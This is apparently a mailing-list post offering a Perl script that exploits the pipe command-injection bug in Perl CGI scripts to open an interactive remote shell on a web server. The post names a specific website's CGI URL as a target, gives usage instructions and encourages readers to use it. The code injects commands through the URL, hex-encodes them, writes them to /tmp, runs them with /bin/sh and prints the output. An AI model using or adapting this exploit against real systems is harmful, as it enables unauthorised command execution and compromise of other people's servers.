<div>This works off the perl pipe read bug, you can just input the first and second parts of the web address (with http:// included) and it'll drop you at a shell. When using cd you must use the absolute path because I was too lazy to do it the correct way. ;-). I know this is pretty easy stuff, it works off those vulns that can just be exploited with a web browser, but this gives you a shell. So have at it guys & gals! Had to resend because I got some message about my attachment being blocked. Not sure if it really was, though, I'll send again anyway. Hope this isn't spamming the list. =/</div>
<div><br></div><div>Site: <a href="http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=stats/1966vinmatrix.htm&desc=Stat+File">http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=stats/1966vinmatrix.htm&desc=Stat+File</a></div>
<div>Useage: ./<a href="http://sublime.pl">sublime.pl</a> "<a href="http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=">http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=</a>" "&desc=Stat+File"</div>
<div><br></div><div>Should work on most perl cgi scripts that are vulnerable to | read bug. Please note, it's not a "real" shell, but almost everything works, except things that won't go in one instance like cd-ing and env vars, etc.</div>
<div><br></div><div>Play nice!</div><div><br></div><div>--oxagast</div><div><br></div><div>[CODE]</div><div><div><br></div><div>#!/usr/bin/perl</div><div><br></div><div># adaptive cgi shell by oxagast</div><div><br></div>
<div>use LWP::Simple;</div><div>$part1 = @ARGV[0]; $part2 = @ARGV[1];</div><div>print "Making buffer...\n";</div><div>for $bet (100..200) {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";</div>
<div>}</div><div>print "Exploiting...\n";</div><div>$id = get("$part1\|id\|$part2");</div><div>$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;</div><div>print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";</div>
<div>$uid = $1;</div><div>print "$uid\n";</div><div>while (0 == 0) {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>print "\$ ";</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$cmd = <STDIN>;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>chomp($cmd);</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>if ($cmd =~ m/cd (\/.*)/) {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$dir = $1;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>if ($cmd eq "cd ..") {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$dir =~ s/(.*)\/.*/\/\1/;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>if ($cmd eq "pwd") {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$dirjunk = $dir;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>if ($dirjunk eq "//") {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$dirjunk = "/";</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$dirjunk = "cd $dir\;$cmd";<span class="Apple-tab-span" style="white-space:pre"> </span></div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$cmdhex =~ s/(..)/\\\\x$1/g;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk = split("\n", $backjunk2);</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk_split = split("\n", $backjunk_as);</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>$thismanylines = $1 - 1;</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>for $junknum (0..scalar(@backjunk_split)) {</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>for $fuzz (10..100+$thismanylines) {</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>$middle = $1;</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk_split[$junknum] =~ s/$1//;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>@backjunk_split[$junknum] =~ s/$1//;</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>print "$backjunk_split[$junknum]\n";</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div><div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div>
<div><span class="Apple-tab-span" style="white-space:pre"> </span>}</div><div>}</div></div><div><br></div><div>[/CODE]</div>